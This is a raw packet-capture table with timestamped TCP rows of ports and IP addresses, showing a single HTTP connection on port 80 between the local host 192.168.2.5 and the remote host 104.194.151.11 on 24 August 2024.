Aug 24, 2024 11:01:58.268142939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268152952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268162012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268171072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268173933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268189907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268201113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268202066 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268210888 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268220901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268223047 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268239021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268249989 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268258095 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268259048 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268265963 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268270969 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268281937 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268296957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268297911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268307924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:58.268326998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:58.268335104 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.493865013 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.498975039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663316011 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663332939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663343906 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663397074 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663428068 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663541079 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663558006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663569927 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663582087 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663587093 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663599014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663602114 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663609028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663619995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663620949 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663625956 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663636923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663642883 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663647890 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663661003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663671970 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663680077 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663688898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663698912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663712025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.663723946 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663753033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.663768053 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734069109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734093904 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734107018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734118938 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734144926 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734196901 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734222889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734235048 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734245062 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734266996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734271049 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734297037 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734321117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734328985 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734332085 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734354973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734364986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734365940 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734375954 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734390974 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734394073 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734400988 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734407902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734417915 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734431028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734441042 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734442949 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734461069 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734493971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734525919 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734538078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734549046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734561920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734572887 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734590054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734617949 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734677076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734688997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734699011 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734710932 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734724998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734729052 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734740019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734750986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734761000 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734762907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734775066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734781981 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734786034 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734798908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734802008 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734811068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.734817028 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.734853029 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.808823109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808850050 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808867931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808881044 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808897018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808908939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808942080 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.808969975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.808978081 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809004068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809015036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809025049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809030056 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809041023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809046030 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809051991 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809063911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809079885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809089899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809092045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809125900 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809142113 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809143066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809154987 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809165001 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809175014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809184074 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809190035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809195995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809206963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809216976 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809226990 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809256077 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809370995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809382915 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809392929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809422016 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809429884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809442043 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809446096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809457064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809468985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809475899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809498072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809508085 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809533119 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809564114 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809587955 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809632063 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809662104 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809673071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809683084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809709072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809736967 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809809923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809824944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809835911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809845924 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809856892 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809856892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809868097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809880018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809883118 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809891939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809920073 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809943914 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.809947014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809958935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809967995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809979916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809992075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.809993029 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810003042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810014009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810026884 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810029030 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810041904 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810046911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810053110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810065985 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810074091 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810092926 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810111046 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810189009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810204983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810214996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810225964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810233116 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810236931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810247898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810257912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810257912 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810270071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810281038 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810292006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810292959 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810311079 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.810318947 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810333967 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.810362101 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.876940012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.876955986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.876969099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.876986980 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877002954 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877017021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877028942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877057076 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877110958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877123117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877135992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877135992 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877160072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877192020 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877263069 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877274990 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877285004 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877296925 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877309084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877310038 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877319098 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877331018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877341032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877350092 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877356052 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877372026 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877382040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877387047 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877392054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877404928 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877412081 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877415895 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877427101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877438068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877444029 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877449036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877455950 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877463102 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877474070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877485991 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877486944 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877510071 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877512932 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877525091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877530098 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877536058 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877547026 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877557039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877557039 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877590895 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877619982 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877631903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877643108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877652884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877665043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877680063 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877680063 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877691984 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877702951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877712965 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877715111 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877727032 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877737999 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877767086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877789974 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877934933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877948046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877964020 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877974033 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877985001 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.877985001 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.877998114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.878009081 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.878016949 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.878034115 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.878072977 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.900846958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.900908947 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.900917053 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901011944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901024103 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901031971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901035070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901062012 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901089907 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901093006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901104927 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901115894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901135921 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901141882 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901154041 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901165009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901166916 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901196003 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901199102 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901211023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901222944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901222944 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901232958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901252031 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901279926 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901293993 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901341915 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901345968 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901365042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901390076 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901403904 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901452065 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901462078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901473045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901488066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901499033 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901501894 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901529074 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901542902 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901732922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901743889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901753902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901783943 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901783943 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901799917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901810884 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901813984 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901844978 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:01:59.901848078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:01:59.901856899 CEST	80	49704	104.194.151.11	192.168.2.5
